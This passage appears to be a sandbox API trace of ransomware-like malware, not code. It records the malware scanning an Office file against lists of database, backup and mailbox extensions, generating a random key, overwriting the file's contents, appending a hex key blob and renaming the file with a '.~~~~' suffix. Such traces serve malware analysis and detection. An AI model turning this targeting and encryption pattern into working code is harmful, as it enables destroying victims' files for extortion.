	[0142.627] lstrlenW (lpString=".dbv") returned 4
	[0142.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".dbv") returned 0x0
	[0142.627] lstrlenW (lpString=".SDF") returned 4
	[0142.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".SDF") returned 0x0
	[0142.627] lstrlenW (lpString=".dtxs") returned 5
	[0142.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.627] lstrlenW (lpString=".db3") returned 4
	[0142.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".db3") returned 0x0
	[0142.627] lstrlenW (lpString=".OST") returned 4
	[0142.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".OST") returned 0x0
	[0142.628] lstrlenW (lpString=".dbx") returned 4
	[0142.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".dbx") returned 0x0
	[0142.628] lstrlenW (lpString=".DB3") returned 4
	[0142.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".DB3") returned 0x0
	[0142.628] lstrlenW (lpString=".DAT") returned 4
	[0142.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".DAT") returned 0x0
	[0142.628] lstrlenW (lpString=".VHDX") returned 5
	[0142.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.628] lstrlenW (lpString=".ndf") returned 4
	[0142.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".ndf") returned 0x0
	[0142.628] lstrlenW (lpString=".DB") returned 3
	[0142.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".DB") returned 0x0
	[0142.628] lstrlenW (lpString=".sql") returned 4
	[0142.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".sql") returned 0x0
	[0142.628] lstrlenW (lpString=".MYD") returned 4
	[0142.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".MYD") returned 0x0
	[0142.628] lstrlenW (lpString=".DBT") returned 4
	[0142.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".DBT") returned 0x0
	[0142.628] lstrlenW (lpString=".ACCDB") returned 6
	[0142.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.628] lstrlenW (lpString=".fdb") returned 4
	[0142.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".fdb") returned 0x0
	[0142.628] lstrlenW (lpString=".bak") returned 4
	[0142.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".bak") returned 0x0
	[0142.628] lstrlenW (lpString=".myd") returned 4
	[0142.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".myd") returned 0x0
	[0142.628] lstrlenW (lpString=".DTXS") returned 5
	[0142.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.629] lstrlenW (lpString=".ckp") returned 4
	[0142.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".ckp") returned 0x0
	[0142.629] lstrlenW (lpString=".dbt") returned 4
	[0142.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".dbt") returned 0x0
	[0142.629] lstrlenW (lpString=".db") returned 3
	[0142.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".db") returned 0x0
	[0142.629] lstrlenW (lpString=".TXT") returned 4
	[0142.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".TXT") returned 0x0
	[0142.629] lstrlenW (lpString=".MDF") returned 4
	[0142.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".MDF") returned 0x0
	[0142.629] lstrlenW (lpString=".bdb") returned 4
	[0142.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".bdb") returned 0x0
	[0142.629] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0142.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.629] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0142.630] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.631] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0142.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0142.631] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26262097289) returned 1
	[0142.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbe6b9690, dwHighDateTime=0x1d60e1e)) 
	[0142.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0142.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0142.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0142.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa970
	[0142.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa970 | out: hHeap=0x300000) returned 1
	[0142.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9c90
	[0142.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0142.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9c90 | out: hHeap=0x300000) returned 1
	[0142.632] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0142.632] GetLastError () returned 0x0
	[0142.632] GetLastError () returned 0x0
	[0142.632] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0142.632] GetLastError () returned 0x0
	[0142.633] GetLastError () returned 0x0
	[0142.633] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x20f0, lpOverlapped=0x0) returned 1
	[0142.635] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffdf10, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.635] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x20f0, lpOverlapped=0x0) returned 1
	[0142.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0142.635] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.635] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.636] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.636] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.636] CloseHandle (hObject=0x104) returned 1
	[0142.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9c90
	[0142.636] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir27f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir27f.gif.~~~~")) returned 1
	[0142.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9c90 | out: hHeap=0x300000) returned 1
	[0142.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0142.639] GetLastError () returned 0x0
	[0142.639] RtlWakeConditionVariable () returned 0x0
	[0142.639] GetCurrentThreadId () returned 0x9cc
	[0142.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".scr") returned 0x0
	[0142.639] lstrlenW (lpString=".cmd") returned 4
	[0142.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".cmd") returned 0x0
	[0142.640] lstrlenW (lpString=".dll") returned 4
	[0142.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".dll") returned 0x0
	[0142.640] lstrlenW (lpString=".bat") returned 4
	[0142.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".bat") returned 0x0
	[0142.640] lstrlenW (lpString=".cpl") returned 4
	[0142.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".cpl") returned 0x0
	[0142.640] lstrlenW (lpString=".sys") returned 4
	[0142.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".sys") returned 0x0
	[0142.640] lstrlenW (lpString=".msc") returned 4
	[0142.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".msc") returned 0x0
	[0142.640] lstrlenW (lpString=".com") returned 4
	[0142.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".com") returned 0x0
	[0142.640] lstrlenW (lpString=".lnk") returned 4
	[0142.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".lnk") returned 0x0
	[0142.640] lstrlenW (lpString=".msp") returned 4
	[0142.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".msp") returned 0x0
	[0142.640] lstrlenW (lpString=".pif") returned 4
	[0142.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".pif") returned 0x0
	[0142.640] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir28f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0142.642] lstrlenW (lpString=".sqb") returned 4
	[0142.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".sqb") returned 0x0
	[0142.642] lstrlenW (lpString=".ost") returned 4
	[0142.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".ost") returned 0x0
	[0142.643] lstrlenW (lpString=".txt") returned 4
	[0142.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".txt") returned 0x0
	[0142.643] lstrlenW (lpString=".mdt") returned 4
	[0142.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".mdt") returned 0x0
	[0142.643] lstrlenW (lpString=".BDB") returned 4
	[0142.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".BDB") returned 0x0
	[0142.643] lstrlenW (lpString=".eql") returned 4
	[0142.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".eql") returned 0x0
	[0142.643] lstrlenW (lpString=".DBF") returned 4
	[0142.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".DBF") returned 0x0
	[0142.643] lstrlenW (lpString=".EQL") returned 4
	[0142.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".EQL") returned 0x0
	[0142.643] lstrlenW (lpString=".FDB") returned 4
	[0142.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".FDB") returned 0x0
	[0142.643] lstrlenW (lpString=".EDB") returned 4
	[0142.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".EDB") returned 0x0
	[0142.643] lstrlenW (lpString=".DACPAC") returned 7
	[0142.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.643] lstrlenW (lpString=".VHD") returned 4
	[0142.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".VHD") returned 0x0
	[0142.643] lstrlenW (lpString=".DBV") returned 4
	[0142.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".DBV") returned 0x0
	[0142.643] lstrlenW (lpString=".dacpac") returned 7
	[0142.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.643] lstrlenW (lpString=".sdf") returned 4
	[0142.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".sdf") returned 0x0
	[0142.644] lstrlenW (lpString=".accdb") returned 6
	[0142.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".accdb") returned 0x0
	[0142.644] lstrlenW (lpString=".DBX") returned 4
	[0142.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".DBX") returned 0x0
	[0142.644] lstrlenW (lpString=".MDT") returned 4
	[0142.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".MDT") returned 0x0
	[0142.644] lstrlenW (lpString=".SQB") returned 4
	[0142.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".SQB") returned 0x0
	[0142.644] lstrlenW (lpString=".vhd") returned 4
	[0142.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".vhd") returned 0x0
	[0142.644] lstrlenW (lpString=".bac") returned 4
	[0142.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".bac") returned 0x0
	[0142.644] lstrlenW (lpString=".mdf") returned 4
	[0142.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".mdf") returned 0x0
	[0142.644] lstrlenW (lpString=".BAK") returned 4
	[0142.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".BAK") returned 0x0
	[0142.644] lstrlenW (lpString=".BAC") returned 4
	[0142.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".BAC") returned 0x0
	[0142.644] lstrlenW (lpString=".dbs") returned 4
	[0142.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".dbs") returned 0x0
	[0142.644] lstrlenW (lpString=".vhdx") returned 5
	[0142.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.644] lstrlenW (lpString=".NDF") returned 4
	[0142.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".NDF") returned 0x0
	[0142.644] lstrlenW (lpString=".dat") returned 4
	[0142.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".dat") returned 0x0
	[0142.644] lstrlenW (lpString=".DBS") returned 4
	[0142.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".DBS") returned 0x0
	[0142.645] lstrlenW (lpString=".CKP") returned 4
	[0142.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".CKP") returned 0x0
	[0142.645] lstrlenW (lpString=".edb") returned 4
	[0142.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".edb") returned 0x0
	[0142.645] lstrlenW (lpString=".PST") returned 4
	[0142.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".PST") returned 0x0
	[0142.645] lstrlenW (lpString=".dbf") returned 4
	[0142.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".dbf") returned 0x0
	[0142.645] lstrlenW (lpString=".SQL") returned 4
	[0142.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".SQL") returned 0x0
	[0142.645] lstrlenW (lpString=".pst") returned 4
	[0142.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".pst") returned 0x0
	[0142.645] lstrlenW (lpString=".dbv") returned 4
	[0142.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".dbv") returned 0x0
	[0142.645] lstrlenW (lpString=".SDF") returned 4
	[0142.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".SDF") returned 0x0
	[0142.645] lstrlenW (lpString=".dtxs") returned 5
	[0142.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.645] lstrlenW (lpString=".db3") returned 4
	[0142.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".db3") returned 0x0
	[0142.645] lstrlenW (lpString=".OST") returned 4
	[0142.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".OST") returned 0x0
	[0142.645] lstrlenW (lpString=".dbx") returned 4
	[0142.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".dbx") returned 0x0
	[0142.645] lstrlenW (lpString=".DB3") returned 4
	[0142.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".DB3") returned 0x0
	[0142.646] lstrlenW (lpString=".DAT") returned 4
	[0142.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".DAT") returned 0x0
	[0142.646] lstrlenW (lpString=".VHDX") returned 5
	[0142.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.646] lstrlenW (lpString=".ndf") returned 4
	[0142.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".ndf") returned 0x0
	[0142.646] lstrlenW (lpString=".DB") returned 3
	[0142.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".DB") returned 0x0
	[0142.646] lstrlenW (lpString=".sql") returned 4
	[0142.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".sql") returned 0x0
	[0142.646] lstrlenW (lpString=".MYD") returned 4
	[0142.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".MYD") returned 0x0
	[0142.646] lstrlenW (lpString=".DBT") returned 4
	[0142.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".DBT") returned 0x0
	[0142.646] lstrlenW (lpString=".ACCDB") returned 6
	[0142.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.646] lstrlenW (lpString=".fdb") returned 4
	[0142.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".fdb") returned 0x0
	[0142.646] lstrlenW (lpString=".bak") returned 4
	[0142.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".bak") returned 0x0
	[0142.646] lstrlenW (lpString=".myd") returned 4
	[0142.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".myd") returned 0x0
	[0142.646] lstrlenW (lpString=".DTXS") returned 5
	[0142.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".DTXS") returned 0x0
